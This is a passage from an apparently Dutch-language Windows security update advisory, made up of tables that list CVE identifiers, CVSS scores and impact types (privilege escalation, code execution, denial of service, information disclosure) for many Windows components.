Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Search Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50373 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50679 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49164 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-57976 | 6.50 | Denial-of-Service                   | \n| CVE-2026-49178 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50366 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49791 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50451 | 7.10 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57096 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRole: DNS Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49169 | 8.00 | Uitvoeren van willekeurige code     | \n| CVE-2026-50426 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58640 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-49184 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-49789 | 7.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49797 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50308 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50412 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50386 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50309 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50313 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50341 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50388 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50448 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50471 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50422 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50402 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50461 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen 